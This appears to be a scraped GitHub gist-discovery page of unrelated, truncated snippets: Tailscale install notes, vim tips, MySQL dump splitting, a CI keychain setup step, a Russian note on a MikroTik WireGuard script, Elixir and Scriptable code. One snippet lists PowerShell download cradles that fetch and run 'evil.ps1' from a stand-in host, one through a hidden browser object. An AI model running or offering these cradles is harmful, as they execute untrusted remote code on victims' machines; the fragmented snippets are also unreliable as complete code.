Ctrl + Alt + Space
Discover gists
- Install go if it's not there.
- Install tailscale commands.
go install tailscale.com/cmd/[email protected] go install tailscale.com/cmd/[email protected]
Since this linux is an old version, it still use sysv scripts for service management. To run tailscaled
as a daemon (service), follow the procedure below.
- Capital letters do the opposite of small letters in command (Press shift to trigger capital letters)
_
(underscore) to move the cursor at the beginning of line (doesn't switch to insert mode)0
(zero) moves the cursor to the zeroth position of the line (doesn't switch to insert mode)
$
(dollar) to move the cursor at the end of line (doesn't switch to insert mode)d$
will delete from wherever your cursor is till the end of the linef<character>
to move cursor to the first occurrence of<character>
f(
to move cursor to first occurence of(
t<character>
to move cursor to upto but not on the first occurrence of<character>
t(
to move cursor to first occurence of(
# Split MYSQL dump file | |
zcat dump.sql.gz | awk '/DROP TABLE IF EXISTS/{n++}{print >"out" n ".sql" }' | |
# Parallel import using GNU Parallel http://www.gnu.org/software/parallel/ | |
ls -rS *.sql | parallel --joblog joblog.txt mysql -uXXX -pYYY db_name "<" | |
#! /usr/bin/env python | |
# -*- coding: utf-8 -*- | |
""" | |
Installing dependencies: | |
pip install argparse | |
pip install reportlab | |
""" |
- name: Set up certificates | |
env: | |
CERTIFICATES_P12: ${{ secrets.CERTIFICATES_P12 }} | |
CERTIFICATES_P12_PASSWORD: ${{ secrets.CERTIFICATES_P12_PASSWORD }} | |
run: | | |
echo $CERTIFICATES_P12 | base64 --decode > certificate.p12 | |
security create-keychain -p password101 build.keychain | |
security default-keychain -s build.keychain | |
security unlock-keychain -p password101 build.keychain | |
security import certificate.p12 -k build.keychain -P $CERTIFICATES_P12_PASSWORD -T /usr/bin/codesign -T /usr/bin/security |
Чуть подправил скрипт , чтобы лишний раз не бегал по клиентским пирам, которые подключаются к этому роутеру,
а только где роутер как клиент.
Работает убойно! Proton и Warp пробивает)
Upd.: увеличил время в фильтре до 2м30с как защита от ложных срабатываний у медленных подключений.
Считаю выполнение скрипта раз в 2 минуты средним нормальным значением.
Так же добавил в скрипт закомментированную строку с возможность исключения какого-либо wg интерфейса из проверки.
Update for ROS >= 7.17: у пиров изменили свойство is-responder на responder! добавил закоментированную строку в скрипт.
Если при выполнении скрипта на этапе генерации трафика выходит ошибка в лог, то:
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
defmodule NestedWeb.FormLive do | |
use NestedWeb, :live_view | |
require Logger | |
defmodule Form do | |
use Ecto.Schema | |
import Ecto.Changeset | |
embedded_schema do | |
field :name, :string |
// Copy this code and paste it into Scriptable code editor on your phone | |
async function loadStats() { | |
const request = new Request("https://your-endpoint-giving-you-revenue-data.com"); | |
const { todayUSD, todayOrders, revenue30USD, orders30 } = await request.loadJSON(); | |
return { todayUSD, todayOrders, revenue30USD, orders30 }; | |
} | |
const usdFormatter = new Intl.NumberFormat("en-US", { style: "currency", currency: "USD" }); |